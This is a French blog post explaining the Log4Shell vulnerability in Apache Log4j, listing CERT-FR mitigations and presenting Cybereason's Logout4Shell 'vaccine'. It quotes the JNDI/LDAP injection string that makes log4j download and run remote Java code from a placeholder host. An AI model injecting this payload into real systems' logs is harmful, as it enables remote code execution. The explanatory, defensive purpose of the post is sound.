Si vous vous intéressez un peu à la sécurité informatique, il ne vous aura pas échappé que le 9 décembre dernier, une faille 0day touchant Apache Log4j avait été divulguée. Baptisée Log4Shell, cette faille qui touche log4j de la version 2.0 à 2.14.1 a obtenu un score CVSS de 10/10 en matière de gravité.
Woohoo.
Ça transpire fort un peu partout surtout que la faille est actuellement utilisée. Pour vous la faire courte, il suffit de réussir à faire passer dans les logs analysés par log4j les caractères suivants.
${jndi:ldap://URL.com/FICHIER_JAVA}
et cela aura pour effet de télécharger et exécuter le fichier java qui est au bout de l’url « URL.com/FICHIER_JAVA ». C’est aussi simple que dramatique.
Il y a beaucoup de littérature là-dessus notamment du côté du CERT-FR donc je ne vais pas m’étaler sur le sujet, mais un projet Github intéressant et amusant est né de tout ce bordel.
Vous le savez, pour patcher cette vulnérabilité Log4Shell (CVE-2021-44228), il faut de toute urgence mettre à jour log4j vers une version >= 2.15.0.
Et si ce n’est pas possible :
Pour les applications utilisant les versions 2.10.0 et ultérieures de la bibliothèque log4j, il est également possible de se prémunir contre toute attaque en modifiant le paramètre de configuration log4j2.formatMsgNoLookups à la valeur true, par exemple lors du lancement de la machine virtuelle Java avec l’option -Dlog4j2.formatMsgNoLookups=true. Une autre alternative consiste à supprimer la classe JndiLookup dans le paramètre classpath pour éliminer le vecteur principal d’attaque (les chercheurs n’excluent pas l’existence d’un autre vecteur d’attaque).
Cert FR
Mais une autre possibilité consiste à laisser faire la nature et c’est ce que propose Cybereason avec ce code baptisé Logout4Shell qui exploite la vulnérabilité Log4Shell pour… la patcher tout simplement.
Le payload qui est chargé via la faille va forcer l’enregistreur Log4j à se reconfigurer pour basculer le paramètre qui va bien sur True et empêchera ainsi toute exploitation ultérieure via cette attaque.
C’est un genre de cyber vaccin en attendant une vraie mise à jour de Log4j.
Si cela vous intéresse, le code est dispo sur Github.
Bon courage à ceux qui sont impactés.
A lire également :
- https://blog.cloudflare.com/inside-the-log4j2-vulnerability-cve-2021-44228/
- https://gist.github.com/SwitHak/b66db3a06c2955a9cb71a8718970c592
- https://gist.github.com/gnremy/c546c7911d5f876f263309d7161a7217
- https://github.com/christophetd/log4shell-vulnerable-app
- https://www.lunasec.io/docs/blog/log4j-zero-day/
- https://www.vmware.com/security/advisories/VMSA-2021-0028.html
0 Commentaires